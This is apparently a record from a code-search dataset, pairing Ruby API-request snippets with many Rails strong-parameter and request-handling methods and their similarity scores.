"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def check_params; true; end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def list_params\n params.permit(:name)\n end",
"def check_params\n true\n end",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def additional_permitted_params\n []\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end",
"def allow_params_authentication!; end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end",
"def quote_params\n params.permit!\n end",
"def list_params\n params.permit(:list_name)\n end",
"def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end",
"def all_params; end",
"def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end",
"def source_params\n params.require(:source).permit(all_allowed_params)\n end",
"def user_params\n end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end",
"def permitted_params\n @wfd_edit_parameters\n end",
"def user_params\r\n end",
"def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end",
"def params_permit\n params.permit(:id)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def filter_params\n params.permit(*resource_filter_permitted_params)\n end",
"def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end",
"def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend",
"def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def argument_params\n params.require(:argument).permit(:name)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end",
"def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end",
"def parameters\n nil\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end",
"def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end",
"def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end"
] | [
"0.7121987",
"0.70541996",
"0.69483954",
"0.6902367",
"0.6733912",
"0.6717838",
"0.6687021",
"0.6676254",
"0.66612333",
"0.6555296",
"0.6527056",
"0.6456324",
"0.6450841",
"0.6450127",
"0.6447226",
"0.6434961",
"0.64121825",
"0.64121825",
"0.63913447",
"0.63804525",
"0.63804525",
"0.6373396",
"0.6360051",
"0.6355191",
"0.62856233",
"0.627813",
"0.62451434",
"0.6228103",
"0.6224965",
"0.6222941",
"0.6210244",
"0.62077755",
"0.61762565",
"0.61711127",
"0.6168448",
"0.6160164",
"0.61446255",
"0.6134175",
"0.6120522",
"0.6106709",
"0.60981655",
"0.6076113",
"0.60534036",
"0.60410434",
"0.6034582",
"0.6029977",
"0.6019861",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.60184896",
"0.60157263",
"0.6005857",
"0.6003803",
"0.60012573",
"0.59955895",
"0.5994598",
"0.5993604",
"0.5983824",
"0.5983166",
"0.5977431",
"0.597591",
"0.5968824",
"0.5965953",
"0.59647584",
"0.59647584",
"0.59566855",
"0.59506303",
"0.5950375",
"0.59485626",
"0.59440875",
"0.5930872",
"0.5930206",
"0.5925668",
"0.59235454",
"0.5917905",
"0.59164816",
"0.5913821",
"0.59128743",
"0.5906617",
"0.59053683",
"0.59052664",
"0.5901591",
"0.58987755",
"0.5897456",
"0.58970183",
"0.58942604"
] | 0.0 | -1 |
Call given request and create matching response object | def call(request)
begin
response = RestClient.post(URI.escape(Config.api_url + request.operation), request.data)
rescue RestClient::Unauthorized, Exception
return nil
end
# Check response
if response.code != 200
return nil
end
# Parse response
parsed_response = JSON.parse(response.to_s)
# Check format
if parsed_response["api"].nil? || parsed_response["api"]["response"].nil?
return nil
end
# Fill matching response object with parsed response
response = request.response_factory(parsed_response["api"]["response"])
return response
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def build_response(connection, request); end",
"def create_response(request)\n response = Response.new\n end",
"def execute!\n validate_request!\n perform_request!\n\n build_response\n end",
"def execute!\n validate_request!\n\n build_response!\n end",
"def execute!\n validate_request!\n perform_request!\n\n build_response\n end",
"def perform(request, response); end",
"def request(req)\n self.class.paths << req.path\n self.class.params << req.body\n response = self.class.responses.shift\n if response.respond_to? :call then\n response.call req\n else\n res = Net::HTTPResponse.new '1.0', 200, 'OK'\n res.body = response\n res\n end\n end",
"def run(request)\n @request = request\n @response = request.response\n validate\n extract\n end",
"def call(request)\n\t\t\t\t\n\t\t\t\t# Client\n\t\t\t\tclient = Savon.client(wsdl: Config.data_web_services_wsdl)\n\n\t\t\t\t# Call SOAP client to form raw response\n\t\t\t\traw_response = client.call(request.operation.to_sym, message: request.data)\n\t\t\t\t\n\t\t\t\t# Fill matching response object with raw response\n\t\t\t\tresponse = request.response_factory(raw_response.body[\"#{request.operation}_response\".to_sym])\n\n\t\t\t\treturn response\n\t\t\tend",
"def create_Found_Response(request_path)\n\tbody = File.read(request_path)\n\tinitial = generic_Generate_Initial(200)\n\theaders = generic_Generate_Headers(body)\n\tgeneric_Generate_Response(initial,headers,body)\nend",
"def call\n with(response: response)\n end",
"def call(request)\n result = invoke(decompose(request))\n if result.success?\n on_success(request, result)\n else\n on_failure(request, result)\n end\n end",
"def response\n parse_request\n do_something\n put_response\n end",
"def get_response(path)\n http = create_http\n request = create_request(path)\n response = http.request(request)\n\n return response\nend",
"def get_response(path)\n http = create_http\n request = create_request(path)\n response = http.request(request)\n\n return response\nend",
"def make_request\n response = @http.request(@request)\n end",
"def respond(request_type='', options={})\n opts = {'apiKey' => @api_key, 'trackingId' => @tracking_id}\n options.each do |key, value|\n opts[key.to_s.camelize(:lower)] = value\n end\n\n# puts \"#{__FILE__}:#{__LINE__} [#{__method__}] #{opts.inspect}\"\n\n base_url = (@sandbox ? 'http://sandbox.api.shopping.com/publisher/3.0/rest' : 'http://publisher.usb.api.shopping.com/publisher/3.0/rest')\n target_url = \"#{base_url}/#{request_type}\"\n\n# puts \"#{__FILE__}:#{__LINE__} [#{__method__}] Target URL: #{target_url}\"\n\n response = HTTParty.get(target_url, :query=>opts)\n# puts \"#{__FILE__}:#{__LINE__} [#{__method__}] #{response.inspect}\"\n\n target_key = ''\n response.parsed_response.each_key do |key|\n# puts \"#{__FILE__}:#{__LINE__} [#{__method__}] KEY: #{key}\"\n target_key = key\n end\n\n # now we decide what kind of response object gets returned\n # invoke the correct constructor based on the value of target_key\n response_class = SDC.const_get(\"#{target_key}\")\n# puts \"#{__FILE__}:#{__LINE__} [#{__method__}] FOO: #{response_class.class.name}\"\n# puts \"#{__FILE__}:#{__LINE__} [#{__method__}] FOO: #{response_class.new(response)}\"\n\n\n response_class.new(response)\n end",
"def call\n conn = http_setup\n res = set_up_response(method.to_sym, uri, conn, headers ,body)\n\n response = HttpResponse.new(res)\n response.uri = uri\n raise response.error if !response.success? && !@has_retry_filter\n response\n end",
"def call(request)\n\t\t\t\t\t\traise ::Protocol::HTTP2::Error, \"Connection closed!\" if self.closed?\n\t\t\t\t\t\t\n\t\t\t\t\t\t@count += 1\n\t\t\t\t\t\t\n\t\t\t\t\t\tresponse = create_response\n\t\t\t\t\t\tresponse.send_request(request)\n\t\t\t\t\t\tresponse.wait\n\t\t\t\t\t\t\n\t\t\t\t\t\treturn response\n\t\t\t\t\tend",
"def call()\n json = do_request()\n parse(json)\n end",
"def request\n self.response = prepare_response(http_communication.content)\n end",
"def call_reponse_wrapper(response)\n response_wrapper.new(response)\n end",
"def request\n url1 = url\n return false unless valid?\n http_response = HTTParty.post(url, :format => :plain,\n :query => @params.merge({ :cmd => @cmd }),\n :headers => {\n 'ZooZ-Unique-ID' => @unique_id,\n 'ZooZ-App-Key' => @app_key,\n 'ZooZ-Response-Type' => @response_type,\n }) if @response_type.eql?('NVP')\n\n\n\n http_response = HTTParty.post(url, :format => :json,\n :body => @params.merge({ :cmd => @cmd }),\n :headers => {\n 'ZooZDeveloperId' => @developer_id,\n 'ZooZServerAPIKey' => CGI::escape(@app_key)\n }) if @response_type.eql?('JSON')\n\n response = Response.new\n response.request = self\n response.http_response = http_response\n unless response.success?\n @errors = response.errors\n return false\n end\n response\n end",
"def get_response\n parse_response(parse_JSON(get_request))\n end",
"def make_request(*args)\n command = __callee__\n request_packet = @formatter.send(command, *args)\n request = Request.new(request_packet, command)\n res = get_response_with_logging(request)\n yield res if block_given?\n res\n end",
"def execute_request(request, client:)\n connection = build_connection(request.url, client: client)\n\n headers = request.headers.dup\n\n body = request.body\n\n resp = connection.run_request(request.verb.downcase, request.url, body, headers)\n\n {\n status: Integer(resp.status),\n message: resp.reason_phrase,\n headers: Simple::HTTP::Headers.new(resp.headers.to_hash),\n body: resp.body\n }\n end",
"def make_request(request)\n puts \"\\n\\n\"\n puts \"==> Request, action='#{request.path}', params = #{request.query}...\"\n\n action = request.path.to_s.split(\"/\")[-1]\n\n if action && @app.valid?(action) then\n response = @app.send(action.to_sym, request.query)\n\n return response\n end\n\n return \"Error: Unrecognised action: #{action}\"\n rescue Exception => e\n $stderr.puts \"*** [E]: #{e}\\n#{e.backtrace.join(\"\\n\")}\"\n return \"Error: #{e}\"\n end",
"def call(request); end",
"def request_response(request: nil, call: nil, method: nil, metadata: nil, &block)\n rc = Gruf::Outbound::RequestContext.new(\n type: :request_response,\n requests: [request],\n call: call,\n method: method,\n metadata: metadata\n )\n call(request_context: rc, &block)\n end",
"def do_request(request, format = @format, options = {})\n\n # Is this a v3 request?\n v3_request = request.url.include?(\"/#{v3_hostname}/\")\n\n # make sure we have our auth token before we start\n # any v1 or v2 requests\n if !@auth_token && !v3_request\n d \"Authenticating first before we hit #{request.url}\"\n authenticate \n end\n\n request.headers['Accept'] = content_type(format)\n # Set AMEE source header if set\n request.headers['X-AMEE-Source'] = @amee_source if @amee_source\n\n # path+query string only (split with an int limits the number of splits)\n path_and_query = '/' + request.url.split('/', 4)[3]\n\n if options[:cache]\n # Get response with caching\n response = cache(path_and_query) { run_request(request, :xml) }\n else\n response = run_request(request, :xml)\n end\n response\n end",
"def do_request\n\t\t\tself.response = post_request(options)\n\t\tend",
"def do_request(request, want_reply, data); end",
"def build_response(connection, request)\n app.call(build_env(connection, request))\n end",
"def call\n @called = true\n handleResponse @stubs\n end",
"def make_request(http, request)\n response = http.request(request)\n Response.new(response)\n end",
"def get_api_response(request)\n api = Api::ApiResponse.new(request, DATABASE_NAME)\n response_from_api = api.respond(request)\n\n response_from_api\n end",
"def run\n\n action Colors.grey(\"REQUEST \") + Colors.light_blue(\"#{options[:method].upcase} #{url}\")\n Console.instance.indent\n # run the request\n options[:ssl_verifypeer] = false\n options[:followlocation] = true\n\n Injector.decorate(options)\n\n # convert all headers keys to strings to avoid having symbols like :\"header\" when\n # declaring headers with colons instead of arrows\n if options.key?(:headers)\n new_opts = {}\n options[:headers].map do |k, v|\n new_opts[k.to_s] = v\n end\n options[:headers] = new_opts\n end\n\n if options.key?(:headers) and options[:headers].key?('Content-Type')\n ctype = options[:headers]['Content-Type']\n if ctype.include?('application/json')\n # automatically encode json content\n options[:body] = JSON.generate(options[:body], quirks_mode: true)\n end\n end\n\n\n\n self.response = Typhoeus::Request.new(url, options).run\n\n self.req_response = RequestResponse.new.tap { |r|\n r.raw_body = response.body\n r.headers = response.headers\n r.code = response.code\n r.total_time = response.total_time\n\n if !r.headers.nil? && r.headers.key?('Content-Type') && r.headers['Content-Type'].include?('application/json')\n r.body = JSON.parse(response.body)\n else\n r.body = response.body\n end\n }\n\n # reset assertion counter\n self.assert_no = 1\n\n # evaluate response against expectations\n begin\n instance_eval(&expectations)\n rescue AssertionException\n error error_msg + \" at #{expectations.source_location}\"\n raise RequestException\n rescue StandardError => e\n error 'Exception ' + e.message\n info e.backtrace.inspect\n _debug_info\n error error_msg\n raise RequestException\n ensure\n Console.instance.unindent\n end\n\n req_response\n\n end",
"def do_request(request, response)\n body = make_request(request)\n\n # Always 200. A simplification, but fine for user\n # error messages.\n response.status = 200\n response['Content-Type'] = 'text/html' \n response.body = body\n end",
"def do_request(request)\n response = nil\n\n do_request_arguments = DoRequestArguments.new(request, response)\n emit('doRequest', [do_request_arguments])\n (request, response) = do_request_arguments.to_a\n\n # If nothing modified response, we're using the default behavior.\n if response.nil?\n super(request)\n else\n response\n end\n end",
"def build_object\n response = make_request\n body = JSON.load(response.body) if response.body \n body = { response: body } if body.is_a? Array\n hash = body.to_snake_keys if body\n response_object = Hashie::Mash.new(hash)\n response_object.status_code = response.code.to_i unless response_object.status_code\n response_object\n end",
"def call_handler(handler:, request:)\n t0 = Time.now\n\n begin\n id = request['id']\n\n self.validate_request request\n\n result = handler.call id: id,\n method: request['method'],\n params: request['params'],\n meta: {}\n rescue => err\n log_error(err) if Fluffle.logger.error?\n\n error = self.build_error_response err\n end\n\n response = {\n 'jsonrpc' => '2.0',\n 'id' => id,\n 'meta' => {\n 'handler_duration' => (Time.now - t0)\n }\n }\n\n if error\n response['error'] = error\n else\n response['result'] = result\n end\n\n response\n end",
"def run_request(method, url, body, headers); end",
"def process(request, response)\n indirection, method, key, params = uri2indirection(http_method(request), path(request), params(request))\n\n check_authorization(indirection, method, key, params)\n\n send(\"do_#{method}\", indirection, key, params, request, response)\n rescue SystemExit,NoMemoryError\n raise\n rescue Exception => e\n return do_exception(response, e)\n end",
"def api_call path, request, options = {}\n raw_request = request.to_json\n authenticity_token = options[:authenticity_token] || request[:authenticity_token]\n\n headers = {}\n # it's actually a 'Authorization: ' header that gets mapped internally by rack to HTTP_AUTHORIZATION\n authorizer_helper_options = {}\n if options[:secret]\n authorizer_helper_options[:secret] = options[:secret]\n authorizer_helper_options[:authenticity_token] = authenticity_token\n end\n headers['HTTP_AUTHORIZATION'] = InfoSig::Authorizer.mock_authorization_header(authenticity_token, path, raw_request, authorizer_helper_options)\n\n response = post path, raw_request, headers\n\n rv = nil\n begin\n rv = JSON.parse(response.body)\n rescue Exception\n fail \"expected to see a JSON body, got #{response.inspect}\"\n end\n\n rv.symbolize_keys\n end",
"def process_request req, res\n req_headers = req.header\n req_query = req.query\n req_body = Oaf::HTTPServer.get_request_body req\n file = Oaf::Util.get_request_file(@options[:path], req.path,\n req.request_method, @options[:default_response])\n out = Oaf::Util.get_output(file, req.path, req_headers, req_body,\n req_query)\n res_headers, res_status, res_body = Oaf::HTTPServer.parse_response out\n Oaf::HTTPServer.set_response! res, res_headers, res_body, res_status\n end",
"def service(request, response)\n if @valid_ip\n raise WEBrick::HTTPStatus::Forbidden unless @valid_ip.any? { |ip| request.peeraddr[3] =~ ip }\n end\n\n if request.request_method != \"POST\"\n raise WEBrick::HTTPStatus::MethodNotAllowed,\n \"unsupported method `#{request.request_method}'.\"\n end\n\n raise WEBrick::HTTPStatus::BadRequest if parse_content_type(request['Content-type']).first != \"text/xml\"\n\n length = (request['Content-length'] || 0).to_i\n\n raise WEBrick::HTTPStatus::LengthRequired unless length > 0\n\n data = request.body\n\n raise WEBrick::HTTPStatus::BadRequest if data.nil? or data.size != length\n\n resp = process(data, client_request(request))\n raise WEBrick::HTTPStatus::InternalServerError if resp.nil? or resp.size <= 0\n\n response.status = 200\n response['Content-Length'] = resp.size\n response['Content-Type'] = \"text/xml; charset=utf-8\"\n response.body = resp\n end",
"def execute_http_request (method, url, args)\n @http_request = method, url.clone, args.clone\n self.http_response = HTTParty.send method, url, args\n Log.debug \"#{@http_response.request.http_method.to_s.split('::').last.upcase} - URL: #{@http_response.request.last_uri}\"\n Log.debug 'HEADER:'\n Log.debug http_response.request.options[:headers]\n # Log.debug @http_response.request.options[:body] if @http_response.request.options[:body]\n Log.debug 'BODY:' if http_response\n Log.debug http_response if http_response\n http_response\n end",
"def call(env)\n # catch(:halt) do\n # r = @_request\n # r.block_result(instance_exec(r, &block))\n # @_response.finish\n # end\n [200, { \"Content-Type\": \"text/plain\" }, \"Helo\"]\n end",
"def respond(request)\n endpoint_base = request[:url].split('/')[1]\n request[:op] = request[:url].split('/')[2]\n method_name = \"#{endpoint_base}_endpoint_operation\"\n\n generate_endpoint_response request, endpoint_base, method_name\n end",
"def call(env)\n @request = Dolphy::Request.new(env)\n @response = Dolphy::Response.new\n\n router.find_route_for(request).each do |matcher, block|\n if match = router.find_match_data_for(request, with: matcher)\n response.body = [block.call(*match.captures)]\n end\n end\n\n response.status = 404 if response.body.empty?\n response.body << \"Page not found.\" if response.body.empty?\n response.finish\n end",
"def send_request(request)\n\n factory_hash = request.to_hash\n @request.body = factory_hash.to_json\n\n # send request\n response = @http.request(@request)\n http_response = HttpResponse.new(response)\n\n parser = InjectionResponseParser.new\n parser.parse(http_response)\n\n end",
"def request\n http_segments = @segments.clone\n @params.each do |key,value|\n http_segments[key] = value\n end\n \n # avoid using URI.encode\n query = ''\n http_segments.each do |key, value|\n query += \"&#{key}=#{value}\"\n end\n query = query[1..-1]\n \n uri = URI::HTTP.build(\n :host => HOST,\n :path => @action_path,\n :query => query\n ).to_s\n result = JSON.parse(HTTParty.get(uri).parsed_response)\n Baidumap::Response.new(result,self)\n end",
"def do_GET(request, response)\n @request = request\n @response = response\n \n controller = nil\n\n controller = @klass.new\n controller.run(@request, @response)\n \n response.header.replace(controller.headers)\n response.body = controller.body.to_s\n end",
"def execute_request service, other = {}, headers = {}\n request = build_request(service, other, headers)\n if Typhoeus::Config.verbose\n puts \"< \" + request.inspect\n end\n\n response = request.run\n\n if Typhoeus::Config.verbose\n puts \"> \" + response.body\n end\n\n return Response.new(response.success?, JSON.parse(response.body))\n end",
"def call(env)\n @request = Rack::Request.new(env)\n @params = @path_params.merge(@request.params.symbolize_keys)\n process_response(instance_exec(self, params, request, &@block))\n end",
"def perform!\n @request_time = Time.now\n\n http_resp = adapter.make_request(@method, @resource.uri, @body, @header)\n @response = Resourceful::Response.new(uri, *http_resp)\n @response.request_time = @request_time\n @response.authoritative = true\n\n @response\n end",
"def request(*args, &block); end",
"def response_factory(data)\n\t\t\t\t\t\treturn Response.new(data)\n\t\t\t\t\tend",
"def perform_api_request(query) \n request = Net::HTTP::Post.new( \n $url.path + ($url.query != nil ? (\"?\" + $url.query) : \"\"), \n initheader = {\"Content-Type\" => \"application/json\", \n \"X-Replicon-Security-Context\" => \"User\"}) \n request.basic_auth($companyKey + \"\\\\\" + $loginname, $password) \n request.body = JSON.generate(query) \n \n server = Net::HTTP.new($url.host, $url.port) \n server.use_ssl = $url.scheme == \"https\" \n response = server.start {|http| http.request(request)} \n \n http_code = response.code.to_i \n if http_code != 200 \n puts response.body \n raise \"Expected success code 200, but was #{http_code}\" \n end \n \n return JSON.parse(response.body) \nend",
"def get_request(request)\n\n wrapped_response = do_request(request)\n logger.debug \"#{self.class.to_s}:#{__method__}:#{__LINE__}: initial request: \"+request.to_s\n\n ## If required try to renew the token and redo the request.\n if wrapped_response.meta_status == WAPIStatus::UNKNOWN_ERROR &&\n wrapped_response.result.respond_to?('http_code') &&\n wrapped_response.result.http_code == WAPIStatus::HTTP_UNAUTHORIZED\n wrapped_response = renew_token()\n ## if the token renewed ok then try the request again.\n if wrapped_response.meta_status == WAPIStatus::SUCCESS\n wrapped_response = do_request(request)\n end\n end\n\n # If it didn't work just return that information.\n logger.debug \"#{self.class.to_s}:#{__method__}:#{__LINE__}: wrapped_response: meta_status: #{wrapped_response.meta_status}\"\n if wrapped_response.meta_status != WAPIStatus::SUCCESS\n return wrapped_response\n end\n\n ## Ran a query successfully. See if got partial data and need to keep going.\n\n logger.debug \"#{self.class.to_s}:#{__method__}:#{__LINE__}: wrapped_response: data length: #{wrapped_response.result.length}\"\n # See if there is a link header, if so get the rest of the data.\n if wrapped_response.meta_more.length > 0\n logger.debug \"#{self.class.to_s}:#{__method__}:#{__LINE__}: found link header: >>#{wrapped_response.meta_more}<<\"\n\n more_data = get_request(wrapped_response.meta_more)\n logger.debug \"#{self.class.to_s}:#{__method__}:#{__LINE__}: more_data status: #{more_data.meta}\"\n\n if more_data.meta_status == WAPIStatus::SUCCESS\n logger.debug \"#{self.class.to_s}:#{__method__}:#{__LINE__}: will merge data: initial wrapped_response: #{wrapped_response.result.length} more_data: #{more_data.result.length}\"\n wrapped_response = wrapped_response.append_json_results(more_data)\n else\n logger.error \"#{self.class.to_s}:#{__method__}:#{__LINE__}: can not merge more_data: #{more_data.inspect}\"\n end\n end\n logger.debug \"#{self.class.to_s}:#{__method__}:#{__LINE__}: final wrapped_response: result length: #{wrapped_response.result.length}\"\n wrapped_response\n end",
"def request(*args); end",
"def process_response(obj)\n end",
"def call(request)\n test request\n end",
"def run_request(request, format)\n # Is this a v3 request?\n v3_request = request.url.include?(\"/#{v3_hostname}/\")\n # Execute with retries\n retries = [1] * @retries\n begin \n begin\n d \"Queuing the request for #{request.url}\"\n add_authentication_to(request) if @auth_token && !v3_request\n hydra.queue request\n hydra.run\n # Return response if OK\n end while !response_ok?(request.response, request)\n # Store updated authToken\n @auth_token = request.response.headers_hash['AuthToken']\n return request.response\n rescue AMEE::ConnectionFailed, AMEE::TimeOut => e\n if delay = retries.shift\n sleep delay\n retry\n else\n raise\n end\n end\n end",
"def typhoeus_response\n @request.run\n end",
"def process_request\n api_response = self.class.post(api_url, :body => build_xml)\n puts api_response if @debug\n response = parse_response(api_response)\n if success?(response)\n success_response(api_response, response)\n else\n failure_response(api_response, response)\n end\n end",
"def call(env)\n returned = nil\n if Global.benchmarking\n require 'benchmark'\n time = Benchmark.measure{ returned = respond(env) }\n Log.debug('request took %.5fs [~%.0f r/s]' % [time.real, 1.0/time.real])\n else\n returned = respond env\n end\n returned\n end",
"def request(endpoint, request, &block); end",
"def make_request(request, options)\n gather_headers(request, options)\n response = @http.request(request)\n Validators::ResponseValidator.validate!(response)\n JSON.parse(response.body)\n end",
"def processRequest\n\tresponse = processTransaction \t\n\t@result = { :response => response } \n return @result \t\n end",
"def handle_request request, usecase=Usecase, &block\n usecase = build_usecase( request, usecase, &block )\n usecase.response\n end",
"def request(req)\n req = Request.new(req) if req.kind_of?(Hash)\n action = if req.kind_of?(Request) then req.action else '(string)' end\n debug(\"#{action}: #{req.inspect}\")\n begin\n res = get_response(req)\n info(\"#{action}: #{res.inspect}\")\n rescue Error::Casual => ex\n info(\"#{action}: (ignored) #{ex.message}\")\n raise if verbose\n res = ex.response\n rescue Error::Fatal => ex\n error(\"#{action}: #{ex.message}\")\n raise\n rescue Errno::ECONNREFUSED => ex\n error(\"#{ex.message} / #{self['host'].inspect}:#{self['port'].inspect}\")\n raise\n end\n return res\n end",
"def handle_requests(request)\r\n\tputs request\r\n\tdata = JSON.parse(request)\r\n\tif data['command'] == 'login'\r\n\t\treturn login(data)\r\n\telsif data['command'] == 'add_phone'\r\n\t\treturn add_phone(data)\r\n\telsif data['command'] == 'remove_phone'\r\n\t\treturn remove_phone(data)\t\t\t\r\n\telsif data['command'] == 'create_account'\r\n\t\treturn create_account(data)\r\n\telsif data['command'] == 'update_location'\r\n\t\treturn update_location(data)\r\n\telse\r\n\t\tputs \"Unknown command: #{data['command']}\"\r\n\t\treturn \"ERROR\"\r\n\tend\r\nend",
"def request(method, path, params = {})\n req = create_request path\n req.request method.upcase, params do |response|\n if (200..300).cover?(response.status)\n yield response.json if block_given?\n else\n warn response.json['error']\n end\n end\n end",
"def handle( request ) # note: all 'handle's return 'mlResponse' in a chain\n\n request.record_arrival_time\n mlResponse =\n case\n when request.get? then handle_get_muffin(request)\n when request.post? then handle_post(request)\n end\n request.record_completion_time\n mlResponse\n end",
"def invoke_method\n unless check_preconditions\n return send_response(status: :precondition_failed)\n end\n\n method = request.request_method.downcase\n status, body = make_request method\n\n send_response status: status, body: body\n end",
